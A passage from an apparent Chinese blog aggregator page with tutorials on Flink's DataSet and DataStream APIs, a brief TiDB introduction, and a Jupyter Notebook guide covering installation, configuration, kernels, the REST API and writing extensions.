setCombineHint。在大多数情况下,基于散列的策略应该更快,特别是如果不同键的数量与输入数据元的数量相比较小(例如1/10)。 ReduceGroup 将一组数据元组合成一个或多个数据元。ReduceGroup可以应用于完整数据集或分组数据集。 data.reduceGroup(new GroupReduceFunction<Integer, Integer> { public void reduce(Iterable<Integer> values, Collector<Integer> out) { int prefixSum = 0; for (Integer i : values) { prefixSum += i; out.collect(prefixSum); } } }); Aggregate 将一组值聚合为单个值。聚合函数可以被认为是内置的reduce函数。聚合可以应用于完整数据集或分组数据集。 Dataset<Tuple3<Integer, String, Double>> input = // [...] DataSet<Tuple3<Integer, String, Double>> output = input.aggregate(SUM, 0).and(MIN, 2); 您还可以使用简写语法进行最小,最大和总和聚合。 Dataset<Tuple3<Integer, String, Double>> input = // [...] DataSet<Tuple3<Integer, String, Double>> output = input.sum(0).andMin(2); Distinct 返回数据集的不同数据元。它相对于数据元的所有字段或字段子集从输入DataSet中删除重复条目。 data.distinct(); 使用reduce函数实现Distinct。您可以通过提供CombineHintto 来指定运行时执行reduce的组合阶段的方式 setCombineHint。在大多数情况下,基于散列的策略应该更快,特别是如果不同键的数量与输入数据元的数量相比较小(例如1/10)。 Join 通过创建在其键上相等的所有数据元对来连接两个数据集。可选地使用JoinFunction将数据元对转换为单个数据元,或使用FlatJoinFunction将数据元对转换为任意多个(包括无)数据元。请参阅键部分以了解如何定义连接键。 result = input1.join(input2) .where(0) // key of the first input (tuple field 0) .equalTo(1); // key of the second input (tuple field 1) 您可以通过Join Hints指定运行时执行连接的方式。提示描述了通过分区或广播进行连接,以及它是使用基于排序还是基于散列的算法。如果未指定提示,系统将尝试估算输入大小,并根据这些估计选择最佳策略。 // This executes a join by broadcasting the first data set // using a hash table for the broadcast data result = input1.join(input2, JoinHint.BROADCAST_HASH_FIRST) .where(0).equalTo(1); 请注意,连接转换仅适用于等连接。其他连接类型需要使用OuterJoin或CoGroup表示。 OuterJoin 在两个数据集上执行左,右或全外连接。外连接类似于常规(内部)连接,并创建在其键上相等的所有数据元对。此外,如果在另一侧没有找到匹配的Keys,则保存“外部”侧(左侧,右侧或两者都满)的记录。匹配数据元对(或一个数据元和null另一个输入的值)被赋予JoinFunction以将数据元对转换为单个数据元,或者转换为FlatJoinFunction以将数据元对转换为任意多个(包括无)数据元。请参阅键部分以了解如何定义连接键。 input1.leftOuterJoin(input2) // rightOuterJoin or fullOuterJoin for right or full outer joins .where(0) // key of the first input (tuple field 0) .equalTo(1) // key of the second input (tuple field 1) .with(new JoinFunction<String, String, String>() { public String join(String v1, String v2) { // NOTE: // - v2 might be null for leftOuterJoin // - v1 might be null for rightOuterJoin // - v1 OR v2 might be null for fullOuterJoin } }); CoGroup reduce 算子操作的二维变体。将一个或多个字段上的每个输入分组,然后关联组。每对组调用转换函数。 data1.coGroup(data2) .where(0) .equalTo(1) .with(new CoGroupFunction<String, String, String>() { public void coGroup(Iterable<String> in1, Iterable<String> in2, Collector<String> out) { out.collect(...); } }); Cross 构建两个输入的笛卡尔积(交叉乘积),创建所有数据元对。可选择使用CrossFunction将数据元对转换为单个数据元 DataSet<Integer> data1 = // [...] DataSet<String> data2 = // [...] DataSet<Tuple2<Integer, String>> result = data1.cross(data2); 注:交叉是一个潜在的非常计算密集型 算子操作它甚至可以挑战大的计算集群!建议使用crossWithTiny()和crossWithHuge()来提示系统的DataSet大小。 Union 生成两个数据集的并集。 DataSet<String> data1 = // [...] DataSet<String> data2 = // [...] DataSet<String> result = data1.union(data2); Rebalance 均匀地Rebalance 数据集的并行分区以消除数据偏差。只有类似Map的转换可能会遵循Rebalance 转换。 DataSet<String> in = // [...] DataSet<String> result = in.rebalance() .map(new Mapper()); Hash-Partition 散列分区给定键上的数据集。键可以指定为位置键,表达键和键选择器函数。 DataSet<Tuple2<String,Integer>> in = // [...] DataSet<Integer> result = in.partitionByHash(0) .mapPartition(new PartitionMapper()); Range-Partition Range-Partition给定键上的数据集。键可以指定为位置键,表达键和键选择器函数。 DataSet<Tuple2<String,Integer>> in = // [...] DataSet<Integer> result = in.partitionByRange(0) .mapPartition(new PartitionMapper()); Custom Partitioning 手动指定数据分区。 注意:此方法仅适用于单个字段键。 DataSet<Tuple2<String,Integer>> in = // [...] DataSet<Integer> result = in.partitionCustom(Partitioner<K> partitioner, key) Sort Partition 本地按指定顺序对指定字段上的数据集的所有分区进行排序。可以将字段指定为元组位置或字段表达式。通过链接sortPartition()调用来完成对多个字段的排序。 DataSet<Tuple2<String,Integer>> in = // [...] DataSet<Integer> result = in.sortPartition(1, Order.ASCENDING) .mapPartition(new PartitionMapper()); First-n 返回数据集的前n个(任意)数据元。First-n可以应用于常规数据集,分组数据集或分组排序数据集。分组键可以指定为键选择器函数或字段位置键。 DataSet<Tuple2<String,Integer>> in = // [...] // regular data set DataSet<Tuple2<String,Integer>> result1 = in.first(3); // grouped data set DataSet<Tuple2<String,Integer>> result2 = in.groupBy(0) .first(3); // grouped-sorted data set DataSet<Tuple2<String,Integer>> result3 = in.groupBy(0) .sortGroup(1, Order.ASCENDING) .first(3); DataSet Sink 数据接收器使用DataSet用于存储或返回。使用OutputFormat描述数据接收器算子操作 。Flink带有各种内置输出格式,这些格式封装在DataSet上的算子操作中: writeAsText()/ TextOutputFormat- 按字符串顺序写入数据元。通过调用每个数据元的toString()方法获得字符串。 writeAsFormattedText()/ TextOutputFormat- 按字符串顺序写数据元。通过为每个数据元调用用户定义的format()方法来获取字符串。 writeAsCsv(...)/ CsvOutputFormat- 将元组写为逗号分隔值文件。行和字段分隔符是可配置的。每个字段的值来自对象的toString()方法。 print()/ printToErr()/ print(String msg)/ printToErr(String msg)- 在标准输出/标准错误流上打印每个数据元的toString()值。可选地,可以提供前缀(msg),其前缀为输出。这有助于区分不同的打印调用。如果并行度大于1,则输出也将与生成输出的任务的标识符一起添加。 write()/ FileOutputFormat- 自定义文件输出的方法和基类。支持自定义对象到字节的转换。 output()/ OutputFormat- 大多数通用输出方法,用于非基于文件的数据接收器(例如将结果存储在数据库中)。 可以将DataSet输入到多个 算子操作。程序可以编写或打印数据集,同时对它们执行其他转换。 示例: // text data DataSet<String> textData = // [...] // write DataSet to a file on the local file system textData.writeAsText("file:///my/result/on/localFS"); // write DataSet to a file on a HDFS with a namenode running at nnHost:nnPort textData.writeAsText("hdfs://nnHost:nnPort/my/result/on/localFS"); // write DataSet to a file and overwrite the file if it exists textData.writeAsText("file:///my/result/on/localFS", WriteMode.OVERWRITE); // tuples as lines with pipe as the separator "a|b|c" DataSet<Tuple3<String, Integer, Double>> values = // [...] values.writeAsCsv("file:///path/to/the/result/file", "\n", "|"); // this writes tuples in the text formatting "(a, b, c)", rather than as CSV lines values.writeAsText("file:///path/to/the/result/file"); // this writes values as strings using a user-defined TextFormatter object values.writeAsFormattedText("file:///path/to/the/result/file", new TextFormatter<Tuple2<Integer, Integer>>() { public String format (Tuple2<Integer, Integer> value) { return value.f1 + " - " + value.f0; } }); 使用自定义输出格式: DataSet<Tuple3<String, Integer, Double>> myResult = [...] // write Tuple DataSet to a relational database myResult.output( // build and configure OutputFormat JDBCOutputFormat.buildJDBCOutputFormat() .setDrivername("org.apache.derby.jdbc.EmbeddedDriver") .setDBUrl("jdbc:derby:memory:persons") .setQuery("insert into persons (name, age, height) values (?,?,?)") .finish() ); 序列化器 Flink自带了针对诸如int,long,String等标准类型的序列化器 针对Flink无法实现序列化的数据类型,我们可以交给Avro和Kryo 使用方法:ExecutionEnvironment env = ExecutionEnvironment.getExecutionEnvironment(); 使用avro序列化:env.getConfig().enableForceAvro(); 使用kryo序列化:env.getConfig().enableForceKryo(); 使用自定义序列化:env.getConfig().addDefaultKryoSerializer(Class<?> type, Class<? extends Serializer<?>> serializerClass) 数据类型 Java Tuple 和 Scala case class Java POJOs:java实体类 Primitive Types 默认支持java和scala基本数据类型 General Class Types 默认支持大多数java和scala class Hadoop Writables 支持hadoop中实现了org.apache.hadoop.Writable的数据类型 Special Types 例如scala中的Either Option 和Try

优秀的个人博客,低调大师

Flink从入门到放弃(入门篇4) DataStreamAPI

DataStream算子将一个或多个DataStream转换为新DataStream。程序可以将多个转换组合成复杂的数据流拓扑。DataStreamAPI和DataSetAPI主要的区别在于Transformation部分。 DataStream Transformation map DataStream→DataStream用一个数据元生成一个数据元。一个map函数,它将输入流的值加倍: DataStream<Integer> dataStream = //... dataStream.map(new MapFunction<Integer, Integer>() { @Override public Integer map(Integer value) throws Exception { return 2 * value; } }); FlatMap DataStream→DataStream 采用一个数据元并生成零个,一个或多个数据元。将句子分割为单词的flatmap函数: dataStream.flatMap(new FlatMapFunction<String, String>() { @Override public void flatMap(String value, Collector<String> out) throws Exception { for(String word: value.split(" ")){ out.collect(word); } } }); Filter DataStream→DataStream 计算每个数据元的布尔函数,并保存函数返回true的数据元。过滤掉零值的过滤器: dataStream.filter(new FilterFunction<Integer>() { @Override public boolean filter(Integer value) throws Exception { return value != 0; } }); KeyBy DataStream→KeyedStream 逻辑上将流分区为不相交的分区。具有相同Keys的所有记录都分配给同一分区。在内部,keyBy()是使用散列分区实现的。指定键有不同的方法。 此转换返回KeyedStream,其中包括使用被Keys化状态所需的KeyedStream。 dataStream.keyBy("someKey") // Key by field "someKey" dataStream.keyBy(0) // Key by the first element of a Tuple 注意: 如果出现以下情况,则类型不能成为key: 它是POJO类型但不覆盖hashCode()方法并依赖于Object.hashCode()实现 任何类型的数组 Reduce KeyedStream→DataStream 将当前数据元与最后一个Reduce的值组合并发出新值。 例如:reduce函数,用于创建部分和的流: keyedStream.reduce(new ReduceFunction<Integer>() { @Override public Integer reduce(Integer value1, Integer value2) throws Exception { return value1 + value2; } }); Fold KeyedStream→DataStream 具有初始值的被Keys化数据流上的“滚动”折叠。将当前数据元与最后折叠的值组合并发出新值。 折叠函数,当应用于序列(1,2,3,4,5)时,发出序列“start-1”,“start-1-2”,“start-1-2-3”,. .. DataStream<String> result = keyedStream.fold("start", new FoldFunction<Integer, String>() { @Override public String fold(String current, Integer value) { return current + "-" + value; } }); 聚合 KeyedStream→DataStream 在被Keys化数据流上滚动聚合。min和minBy之间的差异是min返回最小值,而minBy返回该字段中具有最小值的数据元(max和maxBy相同)。 keyedStream.sum(0); keyedStream.sum("key"); keyedStream.min(0); keyedStream.min("key"); keyedStream.max(0); keyedStream.max("key"); keyedStream.minBy(0); keyedStream.minBy("key"); keyedStream.maxBy(0); keyedStream.maxBy("key"); Window函数 关于Flink的窗口概念,我们会在后面有详细介绍。 WindowKeyedStream→WindowedStream 可以在已经分区的KeyedStream上定义Windows。Windows根据某些特征(例如,在最后5秒内到达的数据)对每个Keys中的数据进行分组。 dataStream.keyBy(0) .window(TumblingEventTimeWindows .of(Time.seconds(5))); // Last 5 seconds of data Window ApplyWindowedStream→DataStream AllWindowedStream→DataStream 将一般函数应用于整个窗口。下面是一个手动求和窗口数据元的函数。 注意:如果您正在使用windowAll转换,则需要使用AllWindowFunction。 windowedStream.apply (new WindowFunction<Tuple2<String,Integer>, Integer, Tuple, Window>() { public void apply (Tuple tuple, Window window, Iterable<Tuple2<String, Integer>> values, Collector<Integer> out) throws Exception { int sum = 0; for (value t: values) { sum += t.f1; } out.collect (new Integer(sum)); } }); // applying an AllWindowFunction on non-keyed window stream allWindowedStream.apply (new AllWindowFunction<Tuple2<String,Integer>, Integer, Window>() { public void apply (Window window, Iterable<Tuple2<String, Integer>> values, Collector<Integer> out) throws Exception { int sum = 0; for (value t: values) { sum += t.f1; } out.collect (new Integer(sum)); } }); Window ReduceWindowedStream→DataStream 将reduce函数应用于窗口并返回reduce后的值。 windowedStream.reduce (new ReduceFunction<Tuple2<String,Integer>>() { public Tuple2<String, Integer> reduce(Tuple2<String, Integer> value1, Tuple2<String, Integer> value2) throws Exception { return new Tuple2<String,Integer>(value1.f0, value1.f1 + value2.f1); } }); 提取时间戳 关于Time我们在后面有专门的章节进行介绍 DataStream→DataStream 从记录中提取时间戳,以便使用使用事件时间语义的窗口。 stream.assignTimestamps (new TimeStampExtractor() {...}); Partition 分区 自定义分区DataStream→DataStream 使用用户定义的分区程序为每个数据元选择目标任务。 dataStream.partitionCustom(partitioner, "someKey"); dataStream.partitionCustom(partitioner, 0); 随机分区DataStream→DataStream 根据均匀分布随机分配数据元。 dataStream.shuffle(); Rebalance (循环分区)DataStream→DataStream 分区数据元循环,每个分区创建相等的负载。在存在数据倾斜时用于性能优化。 dataStream.rebalance(); rescaleDataStream→DataStream 如果上游 算子操作具有并行性2并且下游算子操作具有并行性6,则一个上游 算子操作将分配元件到三个下游算子操作,而另一个上游算子操作将分配到其他三个下游 算子操作。另一方面,如果下游算子操作具有并行性2而上游 算子操作具有并行性6,则三个上游 算子操作将分配到一个下游算子操作,而其他三个上游算子操作将分配到另一个下游算子操作。 在不同并行度不是彼此的倍数的情况下,一个或多个下游 算子操作将具有来自上游 算子操作的不同数量的输入。 请参阅此图以获取上例中连接模式的可视化: dataStream.rescale(); 广播DataStream→DataStream 向每个分区广播数据元。 dataStream.broadcast();

优秀的个人博客,低调大师

了解TiDB基础入门

由于目前的项目把mysql换成了TiDb,所以特意来了解下tidb。其实也不能说换,由于tidb和mysql几乎完全兼容,所以我们的程序没有任何改动就完成了数据库从mysql到TiDb的转换,TiDB 是一个分布式 NewSQL SQL 、 NoSQL 和 NewSQL 的优缺点比较 数据库。它支持水平弹性扩展、ACID 事务、标准 SQL、MySQL 语法和 MySQL 协议,具有数据强一致的高可用特性,是一个不仅适合 OLTP 场景还适合 OLAP 场景的混合数据库。下面是对有关资料的整理还有一些扩展内容以链接的方式展示,有兴趣可以点击了解一下。

优秀的个人博客,低调大师

Jupyter Notebook入门指南

作者:京东科技隐私计算产品部 孙晓军 1. Jupyter Notebook介绍 图1 Jupter项目整体架构 [https://docs.jupyter.org/en/latest/projects/architecture/content-architecture.html] Jupyter Notebook是一套基于web的交互式开发环境。用户可以在线开发和分享包含代码和输出的交互式文档,支持实时代码,数学方程,可视化和 markdown等。用途包括:数据清理和转换,数值模拟,统计建模,机器学习等等。 Jupyter Notebook内部通过内核维护状态并运行代码片段,浏览器显示代码片段和其执行的结果。Jupyter Notebook提供了一个用户交互式的开发环境,用户可以通过执行一部分代码片段,并观察执行结果。这种交互式设计,使得Jupyter Notebook非常适合数据科学和机器学习的开发工作。 注意本文的代码和脚本,均基于Jupyter Notebook v6.5.2稳定版本。 2. Jupyter的工作方式 图2 Jupter Notebook工作方式 [https://docs.jupyter.org/en/latest/projects/architecture/content-architecture.html] Jupyter的主要工作单元是Jupyter Server和Kernel。其中Jupyter Server用来提供基于Web的界面和API服务,Kernel用来执行代码片段。浏览器通过Http和Websockets的方式和Jupyter Server进行交互,Jupyter Server和kernel之间,通过ZeroMQ进行数据通信。 Jupyter Server采用经典的MVC模式,使用了tornado作为web服务器,用来提供地址映射和控制器逻辑,使用jinja2来提供模板视图功能。 Jupyter Notebook(v6.5.2)项目的主要模块结构如下: 模块 说明 notebook Notebook功能模块。 terminal 终端模块。为Jupyter提供控制台交互能力。 view 文件可视化模块。比如pdf文件的显示。 tree 工作区目录树 nbconvert 格式转换模块,可以把Jupyter Notebook转换成html,pdf等格式 kernel Jupyter Notebook 内核 services Jupyter Notebook REST API模块 i18n Jupyter Notebook多语言资源 3. 安装Jupyter Notebook 前置条件 Python和pip 不同的Jupyter Notebook对Python有不同的版本要求。我们安装的最新的稳定版本v6.5.2的Jupyter Notebook,要求Python的最低版本为3.6。注意这个Python的版本,不同于内核的Python版本。对于Jupyter内核来说,支持的Python版本和Jupyter Notebook依赖的Python版本没有关系。 在Linux系统下安装Jupyter Notebook 使用pip安装Jupyter notebook非常简单。如果服务器同时拥有Python2和Python3的pip,注意需要使用pip3来替换命令中的pip。 # 更新pip pip install --upgrade pip # 安装jupyter pip install jupyter # 检查安装的jupyter jupyter --version //输出 notebook : 6.5.2 4. 配置和启动Jupyter Jupyter提供了大量的启动参数,用来配置Jupyter Server。我们可以在启动Jupyter服务时,通过命令行参数的方式配置当前启动的服务,但更普遍的方式是使用Jupyter的配置文件。 # 生成配置文件 jupyter notebook --generate-config // 默认生成的配置文件位置: /root/.jupyter/jupyter_notebook_config.py # 修改Jupyter配置文件... # 启动jupyter jupyter notebook Jupyter直接使用一个Python文件来配置Jupyter服务,所有的配置项均通过Python代码来完成。常用的配置项及其说明如下: 名称 默认值 说明 c.NotebookApp.allow_root False 为了安全,Jupyter默认不允许使用root用户启动。如果需要以root用户的身份启动Jupyter,需要开启此设定 c.NotebookApp.allow_origin '' 当需要Jupyter内嵌到iframe时,可以设置为“*“来避免跨origin的限制 c.NotebookApp.ip localhost 当需要通过外网地址来访问Jupyter服务时,需要设置一个有效的服务器IP地址。 c.NotebookApp.port 8888 Jupyter server对外服务端口 c.NotebookApp.notebook_dir / Jupyter的工作空间,默认可以访问服务器上当前用户的所有文件系统 c.NotebookApp.open_browser True 启动服务后是否立即通过浏览器打开服务地址 c.NotebookApp.default_url /tree Jupyter服务的默认地址 c.NotebookApp.extra_static_paths [] 扩展静态文件目录 c.NotebookApp.extra_template_paths [] 扩展模板文件目录 c.KernelSpecManager.allowed_kernelspecs set() 默认允许使用所有的kernel c.NotebookApp.nbserver_extensions {} 允许加载的Jupyter Server扩展 5. 使用Jupyter 5.1. 创建Notebook 启动Jupyter 后,在浏览器内输入 http://服务器地址:端口/,Jupyter会默认重定向到.default_url指定的工作区目录树地址,默认是工作区目录树的界面。 如果在访问的过程中,使用了默认的token作为其认证方式,那么在首次打开时,需要输入Jupyter Notebook的token值,这个值可以在启动Jupyter时的控制台输出中找到,或者使用Jupyter命令来查询 # 查询运行的jupyter notebook jupyter notebook list //返回结果中包含了http://x.x.x.x:8899?token=ABC 的信息,其中的ABC就是我们需要的token 图3 Jupter Notebook的默认工作区目录树页面 Jupyter Notebook通过Jupyter Server提供基于Web的平台无关的工作方式,这使得跨平台开发和协作,代码分享等能力变得比传统IDE更加容易。 在Jupyter 工作区管理界面,用户可以灵活地以类似文件系统的方式管理工作区的数据。可以创建文件和文件夹,编辑文件和文件夹,可以上传和下载文件。通过选择一个Jupyter内核,可以创建一个Notebook文件。 图4 通过Jupyter内核创建一个Notebook 5.2. 使用Notebook 使用Python3内核创建一个Notebook后,我们得到一个xxx.ipynb(IPython Notebook)文件。这个文件是一个json格式的文本文件,其中包含了我们在Notebook中编写的代码和文本内容,也包含了界面上没有显示的元数据信息。通过在工作区目录界面选择一个notebook文件,点击编辑,我们可以查看到ipynb文件的原始内容。 图5 ipynb文件的原始内容 我们可以像使用其它IDE类似的方式来使用Notebook,在使用Notebook上,我们主要关注下Jupyter内核和单元格。 内核是执行单元格代码的核心进程,不同的内核,决定了我们在单元格中能够编写哪些语言的代码,以及对应了指定的编程语言的哪个版本等信息。 单元格是整个Notebook的核心组成部分,我们编写的代码和文本,通过一些列Notebook单元格来组成。Notebook提供了Code,Markdown, Raw NBConvert, Heading四种类型的单元格。 •Code单元格。用来编写内核指定语言的程序代码 •Markdown单元格。使用Markdown编辑器的语法来编辑富文本 •Raw NBConvert单元格。原始的文本,不会被当作代码或markdown被解释执行 •Heading单元格。Heading是Mardown的一个子集,对应了Markdown中的标题编写语法 Jupyter Notebook使用了机器学习中检查点的概念,在我们修改Notebook的过程中,Jupyter会自动保存我们的修改,我们也可以通过【文件】->【保存】来手动保存检查点。检查点文件包含了我们编写的Notebook内容,以及执行代码单元格之后的输出。我们可以在工作空间的“.ipynb_checkpoints”文件夹下,找到这些检查点文件。 图6 使用Jupyter单元格来编写交互式代码 5.3. 分享Notebook 相较于使用传统的IDE编写的代码,基于Web服务的Jupyter Notebook在代码分享上拥有着天然的优势。 在Jupyter Notebook中,我们可以通过两种不同的方式分享我们创作的nootbook。 交互式Notebook文档 传统的技术文档或者说明书,通过静态的文本,配合图片和视频,来描述和讲解特定的技术或功能。有了Jupyter Notebook后,我们仍然可以使用Notebook来编写类似传统的技术文档。在此基础上,我们可以加入更生动的代码交互单元格,用户通过查看文档说明,并与文档中提供的代码进行互动,可以更生动地介绍产品中的功能和技术。每个Jupyter Notebook的ipynb文件,都对应了一个独立的访问地址: http://x.x.x.x:8899/notebooks/my_notebook.ipynb ,通过分享此文件的地址,其他用户可以方便地使用包含了富文本和可执行的代码的交互式Notebook文档。 离线Notebook文档 我们通过逐步执行文档中的所有单元格,得到一个包含了我们编写的说明和代码,以及代码执行的输出结果的完整文档。之后点击【文件】-> 【另存为】,选择一种合适的文件格式。我们可以把文档导出为一份静态文件,通过共享此静态文件,我们实现了Notebook文档的离线分享。 5.4. 魔法函数 Jupyter Notebook提供了一些列魔法函数来增强Jupyter Code单元格的功能,通过魔法函数,我们能够执行javascript脚本,html代码,运行另一个可执行程序等许多额外的功能。 我们可以在Jupyter代码单元格中使用 %lsmagic命令来查看所有的魔法函数,如果要阅读详细的魔法函数的使用说明,可以参考: https://ipython.readthedocs.io/en/stable/interactive/magics.html 魔法函数分为行魔法函数,单元格魔法函数和会话魔法函数。顾名思义,行魔法函数只对当前行起作用,而单元格魔法函数则作用于整个单元格,会话魔法函数则作用于整个会话期间。 一些常用的魔法函数: 指令 说明 %matplotlib 设置matplot绘图的显示模式 %%javascript 单元格内的代码被识别为javascript代码 %%html 单元格内的代码被识别为html代码 %run 执行外部脚本文件 %pwd 获取当前工作的目录位置(非工作空间目录位置) %writefile 以文件形式保存当前单元格代码 %timeit 获取本行代码的执行时间 %debug 激活调试模式 6. 管理Jupyter 6.1. 多语言 Jupyter Notebook使用i18n目录下的资源来进行多语言翻译。在Jupyter Notebook启动时,会加载i18n目录下的多语言资源。之后根据http请求指定的语言,为响应数据提供对应的多语言翻译。如果没有对应的翻译,则保留原始的多语言标签值(英文)。如果调整了多语言翻译,需要重新启动Jupyter Notebook才能使用新的语言包。 Jupyter Notebook的翻译资源主要分布在三个po文件中: •nbjs.po - js文件中的多语言数据 •nbui.po - UI界面中的多语言数据 •notebook.po - notebook中的多语言数据 原始的po文件,需要通过pybabel工具,把po文件编译成mo文件,之后部署在$notebook/i18n/${LANG}/LC_MESSAGES/目录下($notebook是notebook的安装目录),才能在Jupyter Notebook中作为多语言的资源包来使用。 # 使用pybabel编译多语言po文件 pybabel compile -D notebook -f -l ${LANG} -i ${LANG}/LC_MESSAGES/notebook.po -o ${LANG}/LC_MESSAGES/notebook.mo pybabel compile -D nbui -f -l ${LANG} -i ${LANG}/LC_MESSAGES/nbui.po -o ${LANG}/LC_MESSAGES/nbui.mo pybabel compile -D nbjs -f -l ${LANG} -i ${LANG}/LC_MESSAGES/nbjs.po -o ${LANG}/LC_MESSAGES/nbjs.mo 图7 使用了中文语言包后的中文Notebook界面 6.2. 内核管理 内核(kernel)是独立于jupyter服务和界面之外的用来运行Jupyter代码单元格的进程,Jupyter默认提供了ipykernel内核来支持Python开发语言。Jupyter社区提供了jupyterC, IJava,xeus-cling, xeus-sql等众多其它编程语言的内核,用来支持C/C++, Java, SQL等编程语言。 ipykernel默认使用系统环境下的Python来提供服务。我们可以使用ipykernel安装多个Python kernel来提供Python2.x, Python3.x等多个Python内核环境。 安装kernel后,kernel的信息被保存在kernel.json文件中,我们可以在 /usr/local/share/jupyter/kernels 目录,找到Jupyter安装的所有kernel以及对应的kernel.json文件。 kernel可以直接继承自安装kernel的Python指令,也可以使用Python虚拟环境。 # 1.直接继承自Python指令的kernel安装 # 安装ipykernel pip install ipykernel # 安装kernel python -m ipykernel install --name tensorflow2 --display-name "tensorflow2" # 2. 在Python虚拟环境下的kernel安装 # 激活虚拟环境 source activate myenv # 安装ipykernel pip install ipykernel # 安装kernel python -m ipykernel install --name myenv --display-name "Python3 (myenv)" 如果需要查看当前的kernel列表,以及删除已经安装的kernel,可以使用如下的Jupyter命令: # 查看已经安装的kernel列表 jupyter kernelspec list # 删除列表中指定的kernel jupyter kernelspec remove kernelname 6.3. REST API Jupyter提供了REST API接口来和Jupyter server进行交互。借助REST API的能力,我们可以以编程的方式和Jupyter Server进行交互,灵活地管理Jupyter Server。另外REST API为现代化的软件开发提供了一个优秀的能力:自动化。 借助Jupyter Notebook REST API,可以实现文件的上传和下载,检查点管理,会话管理,内核管理,终端管理等一些列管理能力。完整的Jupyter REST API接口列表可以参考: https://jupyter-server.readthedocs.io/en/latest/developers/rest-api.html 要使用REST API,需要在请求中携带认证信息。Jupyter支持直接把token作为query string的方式来认证,也可以使用标准的Http Authorization头信息来完成认证。使用Authorization头来认证的格式如下: Authrozation: token 527a9f1430ccfed995ebcf15517583a2547c2469bc3c47a6 图8 使用Postman来调用Jupyter REST API接口 6.4. 安全管理与多人协作 Jupyter提供了灵活强大的能力,用以支持在线的交互式文档和代码的编写。但Jupyter项目自身没有提供精细化的安全管理体系,用以支持多用户下灵活地使用Jupyter Notebook的功能。对于文件安全,Jupyter依赖于启动服务的linux用户,合理地配置启动Jupyter的用户的权限,才能保证使用Jupyter的用户,不会对系统或项目造成破坏。Jupyter工作空间的设定,仅起到了方便Jupyter使用者管理必要文件的易用性,不能阻挡用户访问和管理工作空间外的文件系统。另外,配合使用Python虚拟环境,可以防止Jupyter Notebook提供的 pip install ,pip uninstall功能,对现有项目环境造成破坏。 在多人协作方面,JupyterHub项目提供了多人协作Jupyter Notebook和Jupyter lab开发的能力。使用JupyterHub,不同职能的用户可以在自己独立的空间内进行Notebook的编写工作,不同用户间也可以方便地分享各自的Notebook。 7. 扩展Jupyter 7.1. 前端扩展 Jupyter Notebook前端扩展(front end extension)是使用Javascript语言编写的异步模块,可以用来绘制Jupyter界面的仪表盘,Notebook,工具栏等,。定义一个前端扩展必须要实现一个load_ipython_extension方法,当前端控件被加载时,Jupyter client会调用load_ipython_extension方法。 Jupyter Notebook前端扩展能力目前还不是一个稳定的版本,不保证代码能够向后兼容。Jupyter的JS API目前也没有官方的文档,需要通过源代码或者实际加载的JS来查看Jupyter前端脚本的成员和方法。 我们实现一个简单的前端扩展脚本,在jupyter前端的工具条中,添加一个自定义工具,当点击自定义工具时,弹出提示信息。 define([ 'base/js/namespace' ], function( Jupyter ) { function load_ipython_extension() { var handler = function () { alert('欢迎使用前端扩展!'); }; var action = { icon: 'fa-comment-o', help : '前端扩展', help_index : 'zz', handler : handler }; var prefix = 'my_extension'; var action_name = 'show-alert'; var full_action_name = Jupyter.actions.register(action, action_name, prefix); // returns 'my_extension:show-alert' Jupyter.toolbar.add_buttons_group([full_action_name]); } return { load_ipython_extension: load_ipython_extension }; }); 完前端扩展代码后,我们把脚本保存到main.js文件,放置在/opt/my_extension目录下。接下来我们使用jupyter nbextension工具来安装和启用前端扩展 # 安装前端扩展 jupyter nbextension install /opt/my_extension # 启用前端扩展 jupyter nbextension enable my_extension/main # 禁用前端扩展 jupyter nbextension disable my_extension/main # 查看前端扩展列表 jupyter nbextension list # 卸载前端扩展 jupyter nbextension uninstall my_extension 图9 在Notebook工具条中加入的前端扩展 7.2. 服务端扩展 Jupyter服务端扩展(server extension)是使用Python语言编写的模块,可以用来处理发送到Jupyter Server的Http请求。使用Jupyter服务端扩展,可以更改现有Jupyter请求的数据和行为,也可以为jupyter Server定义新的服务处理程序。 定义一个服务端扩展模块要实现一个load_jupyter_server_extension方法,其中包含一个类型为notebook.notebookapp.NotebookApp的参数serverapp,serverapp的详细属性和方法可以通过Jupyter Notebook源代码中的notebookapp.py文件来查看。当服务端扩展被加载时,Jupyter Server会调用load_jupyter_server_extension方法。在load_jupyter_server_extension方法中,我们可以通过调用serverapp的web_app属性的add_handlers方法来注册处理程序,用来处理特定的服务端请求。处理程序类需要继承自Jupyter的IPythonHandler类。在处理程序的方法中,可以使用Jupyter提供的@web.authenticated装饰器来为方法增加身份认证保护。 通过服务端扩展,还可以与前端扩展联动,实现一个功能丰富的Jupyter Notebook前端控件。 # 定义一个处理程序 from tornado import ( gen, web, ) from notebook.base.handlers import IPythonHandler class HelloWorldHandler(IPythonHandler): @web.authenticated @gen.coroutine def get(self): self.finish(f'Hello, world!') # 实现load_jupyter_server_extension方法并注册处理程序 def load_jupyter_server_extension(serverapp): handlers = [ ('/myextension/hello', HelloWorldHandler) ] serverapp.web_app.add_handlers('.*$', handlers) 完成服务端扩展代码后,我们把代码保存为__init__.py文件,要在Jupyter Notebook中使用处理程序,我们还需要进行服务端扩展的安装和启用。不同于前端扩展,服务端扩展不能直接使用指令来安装,需要我们手动编写安装程序。此外,Jupyter提供了自动启用服务端扩展和前端扩展的方法,需要我们在脚本的根目录提供启用扩展的配置文件。 jupyter-config/ ├── jupyter_notebook_config.d/ │ └── my_server_extension.json └── nbconfig/ └── notebook.d/ └── my_front_extension.json setup.py 加入了自动启用扩展的配置,我们的服务端扩展目录结构如下: hello-extension/ ├── __init__.py jupyter-config/ ├── jupyter_notebook_config.d/ └── hello_extension.json hello_extension.json文件的内容为: { "ServerApp": { "jpserver_extensions": { "hello_extension": true } } } 接下来我们通过安装程序,安装服务端扩展的信息保存在/root/.jupyter/jupyter_notebook_config.json文件中。在安装完成后,我们可以通过jupyter serverextesion工具来股那里服务端扩展 # 启用服务端扩展 jupyter serverextension enable hello_extension # 禁用服务端扩展 jupyter serverextension disable hello_extension # 服务端扩展直接卸载的方法,需要我们通过pip uninstall 卸载安装程序, # 再通过手工修改/root/.jupyter/jupyter_notebook_config.json文件删除扩展信息来完成卸载 图10 在浏览器中测试安装的服务端扩展程序 7.3. 界面定制 Jupyter没有提供标准的界面定制的能力,但我们可以手工调整jupyter生成的模板视图文件和样式文件,达到整条调整jupyter notebook的界面的能力。 Jupyter Notebook模板文件的位置为:$notebook/templates,样式和脚本定制推荐的方案是使用~/.jupyter/custom/custom.css和~/.jupyter/custom/custom.js文件。我们可以直接在此基础上对文件进行修改,还可以通过extra_template_paths和extra_static_paths来引入其它位置的模板和其它静态文件。 图11 